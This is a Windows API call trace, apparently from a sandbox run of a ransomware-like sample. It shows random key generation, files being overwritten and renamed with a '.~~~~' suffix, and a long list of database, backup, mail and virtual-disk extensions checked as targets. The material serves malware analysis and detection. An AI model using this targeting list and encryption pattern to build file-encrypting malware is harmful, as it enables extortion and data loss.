	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e068
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e068 | out: hHeap=0x300000) returned 1
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0122.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0122.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0122.964] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.964] GetLastError () returned 0x0
	[0122.964] GetLastError () returned 0x0
	[0122.964] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.964] GetLastError () returned 0x0
	[0122.964] GetLastError () returned 0x0
	[0123.106] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff105, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.107] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xefb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xefb, lpOverlapped=0x0) returned 1
	[0123.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.109] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.109] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.109] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.110] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.110] CloseHandle (hObject=0x11c) returned 1
	[0123.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b99b0
	[0123.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.~~~~")) returned 1
	[0123.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b99b0 | out: hHeap=0x300000) returned 1
	[0123.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.221] GetLastError () returned 0x0
	[0123.264] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.291] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.291] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.291] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24328127004) returned 1
	[0123.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2f49730, dwHighDateTime=0x1d60e1e)) 
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f608
	[0123.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f608 | out: hHeap=0x300000) returned 1
	[0123.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6958
	[0123.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0123.292] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.292] GetLastError () returned 0x0
	[0123.292] GetLastError () returned 0x0
	[0123.293] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.293] GetLastError () returned 0x0
	[0123.293] GetLastError () returned 0x0
	[0123.296] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.296] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe2a, lpOverlapped=0x0) returned 1
	[0123.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.298] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.298] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.298] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.298] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.299] CloseHandle (hObject=0x120) returned 1
	[0123.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0123.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.~~~~")) returned 1
	[0123.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0123.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.302] GetLastError () returned 0x0
	[0123.305] lstrlenW (lpString=".sqb") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".sqb") returned 0x0
	[0123.305] lstrlenW (lpString=".ost") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".ost") returned 0x0
	[0123.305] lstrlenW (lpString=".txt") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".txt") returned 0x0
	[0123.305] lstrlenW (lpString=".mdt") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".mdt") returned 0x0
	[0123.305] lstrlenW (lpString=".BDB") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".BDB") returned 0x0
	[0123.305] lstrlenW (lpString=".eql") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".eql") returned 0x0
	[0123.305] lstrlenW (lpString=".DBF") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DBF") returned 0x0
	[0123.305] lstrlenW (lpString=".EQL") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".EQL") returned 0x0
	[0123.305] lstrlenW (lpString=".FDB") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".FDB") returned 0x0
	[0123.305] lstrlenW (lpString=".EDB") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".EDB") returned 0x0
	[0123.305] lstrlenW (lpString=".DACPAC") returned 7
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DACPAC") returned 0x0
	[0123.305] lstrlenW (lpString=".VHD") returned 4
	[0123.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".VHD") returned 0x0
	[0123.305] lstrlenW (lpString=".DBV") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DBV") returned 0x0
	[0123.306] lstrlenW (lpString=".dacpac") returned 7
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dacpac") returned 0x0
	[0123.306] lstrlenW (lpString=".sdf") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".sdf") returned 0x0
	[0123.306] lstrlenW (lpString=".accdb") returned 6
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".accdb") returned 0x0
	[0123.306] lstrlenW (lpString=".DBX") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DBX") returned 0x0
	[0123.306] lstrlenW (lpString=".MDT") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".MDT") returned 0x0
	[0123.306] lstrlenW (lpString=".SQB") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".SQB") returned 0x0
	[0123.306] lstrlenW (lpString=".vhd") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".vhd") returned 0x0
	[0123.306] lstrlenW (lpString=".bac") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".bac") returned 0x0
	[0123.306] lstrlenW (lpString=".mdf") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".mdf") returned 0x0
	[0123.306] lstrlenW (lpString=".BAK") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".BAK") returned 0x0
	[0123.306] lstrlenW (lpString=".BAC") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".BAC") returned 0x0
	[0123.306] lstrlenW (lpString=".dbs") returned 4
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dbs") returned 0x0
	[0123.306] lstrlenW (lpString=".vhdx") returned 5
	[0123.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".vhdx") returned 0x0
	[0123.307] lstrlenW (lpString=".NDF") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".NDF") returned 0x0
	[0123.307] lstrlenW (lpString=".dat") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dat") returned 0x0
	[0123.307] lstrlenW (lpString=".DBS") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DBS") returned 0x0
	[0123.307] lstrlenW (lpString=".CKP") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".CKP") returned 0x0
	[0123.307] lstrlenW (lpString=".edb") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".edb") returned 0x0
	[0123.307] lstrlenW (lpString=".PST") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".PST") returned 0x0
	[0123.307] lstrlenW (lpString=".dbf") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dbf") returned 0x0
	[0123.307] lstrlenW (lpString=".SQL") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".SQL") returned 0x0
	[0123.307] lstrlenW (lpString=".pst") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".pst") returned 0x0
	[0123.307] lstrlenW (lpString=".dbv") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dbv") returned 0x0
	[0123.307] lstrlenW (lpString=".SDF") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".SDF") returned 0x0
	[0123.307] lstrlenW (lpString=".dtxs") returned 5
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dtxs") returned 0x0
	[0123.307] lstrlenW (lpString=".db3") returned 4
	[0123.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".db3") returned 0x0
	[0123.308] lstrlenW (lpString=".OST") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".OST") returned 0x0
	[0123.308] lstrlenW (lpString=".dbx") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dbx") returned 0x0
	[0123.308] lstrlenW (lpString=".DB3") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DB3") returned 0x0
	[0123.308] lstrlenW (lpString=".DAT") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DAT") returned 0x0
	[0123.308] lstrlenW (lpString=".VHDX") returned 5
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".VHDX") returned 0x0
	[0123.308] lstrlenW (lpString=".ndf") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".ndf") returned 0x0
	[0123.308] lstrlenW (lpString=".DB") returned 3
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DB") returned 0x0
	[0123.308] lstrlenW (lpString=".sql") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".sql") returned 0x0
	[0123.308] lstrlenW (lpString=".MYD") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".MYD") returned 0x0
	[0123.308] lstrlenW (lpString=".DBT") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DBT") returned 0x0
	[0123.308] lstrlenW (lpString=".ACCDB") returned 6
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".ACCDB") returned 0x0
	[0123.308] lstrlenW (lpString=".fdb") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".fdb") returned 0x0
	[0123.308] lstrlenW (lpString=".bak") returned 4
	[0123.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".bak") returned 0x0
	[0123.308] lstrlenW (lpString=".myd") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".myd") returned 0x0
	[0123.309] lstrlenW (lpString=".DTXS") returned 5
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".DTXS") returned 0x0
	[0123.309] lstrlenW (lpString=".ckp") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".ckp") returned 0x0
	[0123.309] lstrlenW (lpString=".dbt") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".dbt") returned 0x0
	[0123.309] lstrlenW (lpString=".db") returned 3
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".db") returned 0x0
	[0123.309] lstrlenW (lpString=".TXT") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".TXT") returned 0x0
	[0123.309] lstrlenW (lpString=".MDF") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".MDF") returned 0x0
	[0123.309] lstrlenW (lpString=".bdb") returned 4
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".bdb") returned 0x0
	[0123.309] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0123.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363080
	[0123.309] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395410) returned 1
	[0123.311] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0123.311] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.311] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24330098206) returned 1
	[0123.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2f959f0, dwHighDateTime=0x1d60e1e)) 
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f640
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f640 | out: hHeap=0x300000) returned 1
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b60d0
	[0123.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b60d0 | out: hHeap=0x300000) returned 1
	[0123.312] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.312] GetLastError () returned 0x0
	[0123.312] GetLastError () returned 0x0
	[0123.312] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.312] GetLastError () returned 0x0
	[0123.312] GetLastError () returned 0x0
	[0123.316] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1ed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.316] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe13, lpOverlapped=0x0) returned 1
	[0123.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.318] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.318] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
